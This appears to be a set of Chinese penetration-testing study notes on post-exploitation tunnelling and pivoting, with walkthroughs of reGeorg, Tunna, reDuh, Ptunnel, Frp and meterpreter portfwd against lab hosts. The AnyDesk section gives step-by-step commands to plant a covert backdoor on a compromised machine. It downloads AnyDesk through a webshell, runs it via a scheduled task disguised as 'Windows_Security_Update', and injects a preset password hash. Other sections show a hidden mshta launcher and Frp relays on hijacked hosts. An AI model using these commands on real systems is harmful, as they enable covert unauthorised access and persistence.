[2019‐01‐28 08:33:54.169529] Exception while closing client socket (192.168.1.3:8862 ‐> 192.168.1.5:33389): [Errno 107] Transport endpoint is not connected
[2019‐01‐28 08:33:54.178078] Server closed connection ID AA0FE7F073A5EFFD
复现!!提示目前不支持PHP
/micro8/contents-1/91-100/96http-sui-dao-abptts-di-yi-ji
3.2 HTTP 隧道 reGeorg
reGeorg 的前身是2008年 SensePost 在 BlackHat USA 2008 的 reDuh 延伸与扩展。也是目前安全从业人员使用最多,范围最广,支持多丰富的一款 http 隧道。从本质上讲,可以将 JSP/PHP/ASP/ASPX 等页面上传到目标服务器,便可以访问该服务器后面的主机。
2014年blackhat介绍
/eu-14/#regeorg
Github:
/sensepost/reGeorg
攻击机:
192.168.1.5 Debian
192.168.1.4 Windows 7
靶机:
192.168.1.119 Windows 2003
安装:
root@John:~# git clone /sensepost/
Cloning into 'reGeorg'...
remote: Enumerating objects: 85, done.
remote: Total 85 (delta 0), reused 0 (delta 0), pack‐reused 85
Unpacking objects: 100% (85/85), done.
root@John:~# cd reGeorg/
root@John:~reGeorg# ls
tu
.
root@John:~/reGeorg# python ‐h
_____
_____ ______ __|___ |__ ______ _____ _____ ______
| | | ___|| ___| || ___|/ \| | | ___|
| \ | ___|| | | || ___|| || \ | | |
|__|\__\|______||______| __||______|\_____/|__|\__\|______|
|_____|
... every office needs a tool like Georg
willem@ / @_w_m__
sam@ / @trowalts
etienne@ / @kamp_staaldraad
usage: [‐h] [‐l] [‐p] [‐r] ‐u [‐v]
Socks server for reGeorg HTTP(s) tunneller
optional arguments:
‐h, ‐‐help show this help message and exit
‐l , ‐‐listen‐on The default listening address
‐p , ‐‐listen‐port The default listening port
‐r , ‐‐read‐buff Local read buffer, max data to be sent per POST
‐u , ‐‐url The url containing the tunnel script
‐v , ‐‐verbose Verbose output[INFO\|DEBUG]
root@John:~/reGeorg# pip install urllib3
Requirement already satisfied: urllib3 in /usr/lib/python2.7/dist‐packages (1.24)
靶机执行:
以aspx为demo
攻击机执行:
python ‐p 8080 ‐l 192.168.1.5 ‐u http://192.168.1.119/
Windows下配合Proxifier:
目前大部分waf都会针对默认原装版本的reGeorg
/micro8/contents-1/91-100/98http-sui-dao-regeorg-di-er-ji
3.3 HTTP 隧道 Tunna
Tunna简介:
Tunna1.1 是 secforce 在2014年11月出品的一款基于HTTP隧道工具。其中v1.1中支持了SOCKS4a。
Tunna演示稿:
/open?id=1PpB8_ks93isCaQMEUFf_cNvbDsBcsWzE
Github:
/SECFORCE/Tunna
攻击机:
192.168.1.5 Debian
192.168.1.4 Windows 7
靶机:
192.168.1.119 Windows 2003
安装:
root@John:~# git clone /SECFORCE/
Cloning into 'Tunna'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 156 (delta 0), reused 2 (delta 0), pack‐reused 150
Receiving objects: 100% (156/156), 8.93 MiB | 25.00 KiB/s, done.
Resolving deltas: 100% (84/84), done.
靶机执行:
以aspx为demo
攻击机执行:
python ‐u http://192.168.1.119/ ‐l 1234 ‐r 3389 ‐s ‐ v
附录:
解决:General Exception: [Errno 104] Connection reset by peer
[+] Spawning keep‐alive thread
[‐] Keep‐alive thread not required
[+] Checking for proxy: False
连接后,出现
General Exception: [Errno 104] Connection reset by peer
等待出现:无法验证此远程计算机的身份,是否仍要连接?
再次运行,在点击是(Y)
python ‐u http://192.168.1.119/ ‐l 1234 ‐r 3389 ‐s ‐ v
如果:没有出现“无法验证此远程计算机的身份,是否仍要连接?”
注册表键值: HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers 删除对应IP键值即可。
Tunna对PHP的支持并不是太友好
/micro8/contents-1/91-100/99http-sui-dao-tunna-di-san-ji
3.4 HTTP 隧道 reDun
reDuh简介:
reDuh是sensepost由2008-07年发布,从本质上讲,可以将JSP/PHP/ASP/ASPX等页面上传到目标服务器,便可以访问该服务器后面的主机。
BlackHat USA 2008介绍:
/open?id=1AqmtuBnHQJS-FjVHzJMNNWokda048By-
Github:
/sensepost/reDuh
攻击机:
192.168.1.5 Debian
192.168.1.4 Windows 7
靶机:
192.168.1.119 Windows 2003
安装:
root@John:~# git clone /sensepost/
Cloning into 'reDuh'...
remote: Enumerating objects: 47, done.
remote: Total 47 (delta 0), reused 0 (delta 0), pack‐reused 47
Unpacking objects: 100% (47/47), done.
root@John:~# cd reDuh/
root@John:~/reDuh# ls
reDuhClient reDuhServers
靶机执行:
以aspx为demo
攻击机执行:
绑定端口:
root@John:~/reDuh/reDuhClient/dist# java ‐jar http://192.168.1.119/
[Info]Querying remote web page for usable remote service port
[Info]Remote RPC port chosen as 42000
[Info]Attempting to start reDuh from 192.168.1.119:80/. Using service port 42000. Please wait...
[Info]reDuhClient service listener started on local port 1010
开启新terminal,建立隧道
命令如下:
root@John:~# telnet 127.0.0.1 1010
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
Welcome to the reDuh command line
>>[createTunnel]30080:127.0.0.1:80
Successfully bound locally to port 30080. Awaiting connections.
攻击机端口前后对比:
root@John:~# netstat ‐ntlp
Active Internet connections (only servers)
Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me
tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 809/vmware‐authdlau
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 674/sshd
tcp6 0 0 :::902 :::* LISTEN 809/vmware‐authdlau
tcp6 0 0 :::22 :::* LISTEN 674/sshd
root@John:~# netstat ‐ntlp
Active Internet connections (only servers)
Proto Recv‐Q Send‐Q Local Address Foreign Address State PID/Program na me
tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN 809/vmware‐authdlau
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 674/sshd
tcp6 0 0 :::902 :::* LISTEN 809/vmware‐authdlau
tcp6 0 0 :::1010 :::* LISTEN 6102/java
tcp6 0 0 :::22 :::* LISTEN 674/sshd
tcp6 0 0 :::30080 :::\* LISTEN 6102/java
访问攻击机30080端口,既等价于访问靶机80端口
root@John:~# curl http://192.168.1.5:30080/
<html>
<head>
<meta HTTP‐EQUIV="Content‐Type" Content="text/html; charset=gb2312">
<title ID=titletext>建设中</title>
</head>
<body bgcolor=white>
...
</body>
</html>
遗憾的是reDuh年代久远,使用繁琐,并官方已停止维护。但是它奠定了HTTP隧道
/micro8/contents-1/91-100/100http-sui-dao-reduh-di-si-ji
3.5 基于 Ptunnel 建立ICMP隧道
前言
在某些渗透测试环境下,获得了一个主机的权限但是该主机没有访问外网的权限,对于这种较为严格的网络环境,第一时间想到的就是隧道技术。常见的隧道技术有SSH\DNS\ICMP\端口转发等,大多数端口都存在被禁用的可能,但是ICMP作为基础服务被禁用的可能性却极小,在常用协议都被禁用的情况下可以考虑使用ICMP隧道。
网络拓扑
内网主机10.10.10.0/24除了ICMP通讯不能主动访问外网任何资源,20.20.20.101为hack的ICMP隧道服务端
准备工作
由于通过ICMP协议建立隧道,为了让隧道服务端能够处理收到的ICMP报文,需要禁用系统本身的ICMP响应机制,这里先关闭hack机器的ICMP响应机制
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
Ptunnel的使用
安装需要的依赖包并编译Ptunnel
# yum install libpcap libpcap-devel flex bison -y
# tar xf PingTunnel-0.
# cd PingTunnel
# make
Ptunnel常用的参数
-p 指定跳板机的IP
-l 指定转发本地监听的端口
-da 指定最终要访问的目标主机
-dp 指定最终要访问目标主机的端口
PS:跳板机要有访问目标主机的权限!
在hack机器上开启ptunnel隧道监听
在client1连接跳板机20.20.20.101,访问client本地的8000端口,跳转到跳板机本地的22端口
查看本地已经监听8000端口
client1连接本地8000端口即可通过ICMP隧道连接到跳板机的22端口
也可以通过ssh over icmp隧道,建立socks代理访问外网
/2018/12/18/基于Ptunnel建立ICMP隧道/
3.6 使用anydesk做远控
anydesk是类似teamviewer的远程管理软件,但是他不用安装且体积小
场景举例
1)有云锁,护卫神等禁止3389登录时
2)类似阿里云这种,登录3389会报警
3)连接内网中可以出网的windows机器
注意事项
1)启动anydesk的权限需要桌面用户权限,比如,IIS做中间件的环境中,拿到了webshell一般都是没有桌面用户权限的,如果启动anydesk不会成功
2)启动anydesk时桌面不能被注销
3)有可能连接上去是黑屏,这个是因为该桌面用户退出远程桌面但没有注销,此时,除非能用
winlogon启动anydesk,否则没法使用屏幕
/t/topic/1121
/posts/
这里是还有很骚气的方法,往后在亲自复现…
复现另外的方法…
AnyDesk利用
AnyDesk 是一款声称速度最快的免费长途衔接/长途桌面操控软件,据说是前 TeamViewer 开发小组人员自立门户的商品,它拥有领先的视频压缩技能 DeskRT, 能够轻松穿透防火墙/路由器。 重点是不用安装,而且体积只有2,917KB。
镜外诈骗人员使用修改版本做为远控,发给受害人获取控制电脑权限。
本地anydesk设置自主访问密码,然后生成的配置文件放到目标中,这样只要获取即可连接。收费版支持命令行反回与设置密码。不需要像免费版这么复杂。
使用场景
云锁,护卫神等禁止3389登录绕过;
阿里云登录3389则会IP报警提示绕过;
内网穿透机器、传输文件等;
白名单软件过全世界所有杀软、流量加密;
BlackRouter勒索软件通过AnyDesk捆绑进行传播;
支持操作系统
Windows
MacOS
Android
IOS
Linux
FreeBSD
Raspberry Pi
Chrome OS
利用条件
桌面用户权
anydesk时桌面不能被注
首先本机生成密码:
配置文件将会保存在:
存放
.pwd_hash与.pwd_salt提取出来。
存放:
Webshell中将Anydesk上传受害者机器,运行一遍Anydesk,然后kill掉
taskkill /F /IM
在进入到
C:\Users\{username}\AppData\Roaming\AnyDesk
路径把以上两个配置写入到文件下
连接:
命令复现
"(New-Object ).DownloadFile(\"/\",\"C:\inetpub\wwwroot\\")"
确定有哪些用户当前正在使用桌面:
"(((Get-WmiObject -Class Win32_Process -Filter 'Name=\"\"').GetOwner().User) -split '\n')"
创建一个计划任务:
schtasks /Create /TN Windows_Security_Update /SC monthly /tr "C:\inetpub\wwwroot\" /RU administrator
先执行一次生成配置文件:
schtasks /run /tn Windows_Security_Update
结束掉进程:
taskkill /F /IM
添加密码
echo .pwd_hash=a7f9ef816567ddeb071c985771698c70a6aec4c70dc284943b3104dcc06b8184 >> C:\Users\administrator\AppData\Roaming\AnyDesk\
echo .pwd_salt=5afbd8fc7334032ddbddd489363e25f8 >> C:\Users\administrator\AppData\Roaming\AnyDesk\
利用需要一定条件,除此之外也需要考虑WebShell免杀。
/archives/1098 --云渗透思路
3.7 Kerberos域内委派攻击(重要了解)
/t/7217 --域渗透——Kerberos委派攻击
/t/7517 --Kerberos之域内委派攻击
/posts/ --跟着先知社区复现文章
/backlion/p/ --老文章思路
/post/id/166934 --攻击活动目录:无约束委派及域林信任
/2019/01/28/ --最详细的介绍,有视频,但是全英文,感谢大佬
认真看完,就能熟悉了…
3.8 ATT&CK攻防初窥系列-执行篇
/ --ATT&CK攻防初窥系列--执行篇(一)
/ ---ATT&CK攻防初窥系列--执行篇(二)
/ ---ATT&CK攻防初窥系列--横向移动篇(一)
感谢看雪大佬!!
3.9 Powershell(dayu-Twelfth Day)
3.9.1 利用360正则不严执行 powershell上线
powershell无文件利用自blackhat演讲至今已经过去近5年,将来的日子会越来越不好过,windows的审计会越来越细,以后将是.NET的天下。从CS推荐使用.NET内存加载开始就已经慢慢变成红队的主流(execute-assembly)
/t/7903 --感谢大佬的思路和技术,6月份最新的复现
/web/ --感谢s1ye大佬
书中还有更好的思路,找时间按照书里的复现写出来…
3.9.2 关于 Powershell抗安全软件
/ --看雪高级渗透课堂!
/p/36250656 --原文
参考
/en-us/previous-versions/technet-magazine/ff629472(v=msdn.10)?redirectedfrom=MSDN
/danielbohannon/Invoke-Obfuscation
3.9.3 Invoke-Obfuscation介绍
/ --powershell配合Invoke-Obfuscation
/post/id/86637 --powershell 混淆
/developer/article/1044940 --Powershell编码与混淆
四、穿透与转发
4.1 Frp内网穿透实战
前言
实战中,当通过某种方式拿下测试虚拟机权限时,发现该机器可出网。此时为了内网横向渗透与团队间的协同作战,可以利用Frp在该机器与VPS之间建立一条“专属通道”,并借助这条通道达到内网穿透的效果。实战中更多时候依靠 Socks5 。
更多详细使用方法,可查看官方Github,这里不再赘述。
/fatedier/frp/
前期准备
先准备一台VPS与域名。
因某种情况会更换VPS地址,为了减少更改frp配置文件的次数,所以做域名泛解析。若更换VPS,直接编辑域名解析地址即可。
下载地址
Frp下载地址 [跨平台,实战中根据目标机版本选择下载]
/fatedier/frp/releases
配置文件
服务端
#通用配置段
[common]
#frp服务端监听 [VPS]
bind_addr = 0.0.0.0
#frp服务器监听端口 [实战中可以用一些通透性较好的端口]
bind_port = 7007
#服务端Web控制面板登录端口 [通过控制面板,可以实时了解到数据收发情况。实战中用处不大]
dashboard_port = 6609
#服务端Web控制面板用户名与密码 [强口令]
dashboard_user = SuperMan
dashboard_pwd = WC3pvjmh2tt8
#日志输出位置,所有的日志信息都放到当前目录下的文件中
log_file = ./
#日志记录等级,有trace、debug、info、warn、error,通常情况下为info
log_level = info
#日志保留时间
log_max_days = 3
#验证凭据,服务端和客户端的凭据必须一样才能连接
auth_token = E0iQEBOdoJeh
#启用特权模式,从v0.10.0版本开始默认启用特权模式 [特权模式下,客户端更改配置无需更新服务端]
privilege_mode = true
#特权模式Token [强口令,建议随机生成]
privilege_token = kukezkHC8R1H
#特权模式允许分配的端口 [避免端口被滥用]
privilege_allow_ports = 4000-50000
#心跳检测超时时长
heartbeat_timeout = 30
#每个代理可以设置的连接池上限
max_pool_count = 20
#口令认证超时时间,一般不用改
authentication_timeout = 900
#指定子域名,后续将全部用域名的形式进行访问 [特权模式需下将 *. 解析到外网VPS上,即域名泛解析]
subdomain_host =
客户端
#通用配置段
[common]
#frp服务端IP或域名 [实战中一般都会直接用域名]
server_addr =
#frp服务器端口
server_port = 7007
#授权token,此处必须与服务端保持一致,否则无法建立连接
auth_token = E0iQEBOdoJeh
#启用特权模式 [特权模式下服务端无需配置]
privilege_mode = true
#特权模式 token,同样要与服务端完全保持一致
privilege_token = kukezkHC8R1H
#心跳检查间隔与超时时间
heartbeat_interval = 10
heartbeat_timeout = 30
#启用加密 [通信内容加密传输,有效防止流量被拦截]
use_encryption = true
#启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]
use_compression = true
#连接数量
pool_count = 20
#内网穿透通常用socks5
[socks5]
type = tcp
#连接VPS内网穿透的远程连接端口
remote_port = 9066
#使用插件socks5代理
plugin = socks5
#socks5连接口令 [根据实际情况进行配置]
#plugin_user = SuperMan
#plugin_passwd = ZBO0McQe6mE1
执行部署
服务端
SSH连接到VPS上,后台启动frp服务端。
root@Ubuntu:~# cd tools/frp/
root@Ubuntu:~/tools/frp# nohup ./frps -c &
root@Ubuntu:~/tools/frp# jobs -l
root@Ubuntu:~/tools/frp# cat
客户端
将与传到目标机的同一目录下,直接运行。
当frp客户端启动后,是否成功连接,都会在frp服务端日志中查看到
但如果直接在目标机的Beacon中启动frp客户端,会持续有日志输出,并干扰该pid下的其他操作,所以可结合execute在目标机无输出执行程序
beacon> sleep 10
beacon> execute c:/ -c c:/
beacon> shell netstat -ano |findstr 7007
或者,创建后台运行的bat脚本。
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("").run("%~nx0 h",0)()&&exit
:begin
c:\ -c c:\
工具穿透
Metasploit
当“专属通道”打通后,可直接在msf中挂该代理。因为msf的模块较多,所以在内网横向移动中更是一把利器。[若socks5设置口令,可结合proxychains]
# sudo msfconsole -q
msf5 > setg proxies socks5::9066
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.144.178
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
Windows
Windows中可结合Proxifier、SSTap等工具,可设置socks5口令,以此达到用windows渗透工具横向穿透的效果
小结
Frp的用法比较灵活且运行稳定。如 可将frp服务端挂在“做菜的肉鸡”上,以达到隐蔽性,也可将客户端做成服务自启的形式等
/s?__biz=MzU1NjgzOTAyMg==&mid=2247485563&idx=2&sn=1163136fa1e407bef053a7ce8c6f1fb4&chksm=fc3fb17acb48386c0d41802ee5f2e1469d192422d80c1b03ed476beec419c43e06e341621a26&scene=21 ---AnonySec 感谢大佬
4.2 基于ported端口转发
portfwd是一款强大的端口转发工具,支持TCP,UDP,支持IPV4–IPV6的转换转发。并且内置于meterpreter。其中exe单版本源码如下:
/rssnsj/portfwd
攻击机:
192.168.1.5 Debian
靶机:
192.168.1.4 Windows 7
192.168.1.119 Windows 2003
msf exploit(multi/handler) \> sessions ‐l
Active sessions
===============
Id Name Type Information Connection
‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐
1 meterpreter x86/windows WIN03X64\Administrator @ WIN03X64 192.168.1.5:45303 ‐> 192.168.1.119:53 (192.168.1.119)
msf exploit(multi/handler) > sessions ‐i 1 ‐c 'ipconfig'
[*] Running 'ipconfig' on meterpreter session 1 (192.168.1.119)
Windows IP Configuration
Ethernet adapter 本地连接:
Connection‐specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.119
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1 22
靶机IP为:
192.168.1.119—windows 2003—x64
需要转发端口为:80,3389
msf exploit(multi/handler) > sessions ‐i 1
[*] Starting interaction with 1...
meterpreter > shell
Process 4012 created.
Channel 56 created.
Microsoft Windows [版本 5.2.3790]
(C) 版权所有 1985‐2003 Microsoft Corp.
C:\Documents and Settings\Administrator\桌面>if defined PSModulePath (echo ok!) else (echo sorry!)
if defined PSModulePath (echo ok!) else (echo sorry!)
sorry!
C:\Documents and Settings\Administrator\桌面>net config Workstation
net config Workstation
计算机名 \\WIN03X64
计算机全名 win03x64
用户名 Administrator
工作站正运行于
NetbiosSmb (000000000000)
NetBT_Tcpip_{37C12280‐A19D‐4D1A‐9365‐6CBF2CAE5B07} (000C2985D67D)
软件版本 Microsoft Windows Server 2003
工作站域 WORKGROUP
登录域 WIN03X64
COM 打开超时 (秒) 0
COM 发送计数 (字节) 16
COM 发送超时 (毫秒) 250
命令成功完成。
C:\Documents and Settings\Administrator\桌面>netstat ‐an|findstr "LIST ENING"
netstat ‐an|findstr "LISTENING"
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1026 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3078 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9001 0.0.0.0:0 LISTENING
TCP 127.0.0.1:2995 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9000 0.0.0.0:0 LISTENING
TCP 127.0.0.1:9999 0.0.0.0:0 LISTENING
TCP 192.168.1.119:139 0.0.0.0:0 LISTENING
meterpreter > portfwd ‐h
Usage: portfwd [‐h] [add | delete | list | flush] [args]
OPTIONS:
‐L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
‐R Indicates a reverse port forward.
‐h Help banner.
‐i <opt> Index of the port forward entry to interact with (see the "list" command).
‐l <opt> Forward: local port to listen on. Reverse: local port to connect to.
‐p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
‐r <opt> Forward: remote host to connect to.
攻击机执行:
meterpreter > portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389
[*] Local TCP relay created: :33389 <‐> 192.168.1.119:3389
meterpreter > portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80
[*] Local TCP relay created: :30080 <‐> 192.168.1.119:80
meterpreter > portfwd
Active Port Forwards
====================
Index Local Remote Direction
‐‐‐‐‐ ‐‐‐‐‐ ‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐
1 0.0.0.0:33389 192.168.1.119:3389 Forward
2 0.0.0.0:30080 192.168.1.119:80 Forward
2 total active port forwards.
查看攻击机LISTEN端口:转发已成功
root@John:~# netstat ‐ntlp |grep :3
tcp 0 0 0.0.0.0:33389 0.0.0.0:* LISTEN 2319/ruby
tcp 0 0 0.0.0.0:30080 0.0.0.0:* LISTEN 2319/ruby 4
Windows 7 分别访问攻击机33389,30080,既等价访问靶机3389,80
/micro8/contents-1/91-100/95-ji-yu-portfwd-duan-kou-zhuan-fa
4.3 Venom-代理转发、多级穿透
https:///2020/06/17/Intranet-penetration/ --非常详细全面的内网穿透技术总结
/u011215939/article/details/103403545
/t/4058 --Venom 渗透测试人员的多级代理
/2020/04/30/内网渗透-Venom内网工具使用实战/
4.4 DNS隧道
4.4.1 dns隧道之dns2tcp
睡觉…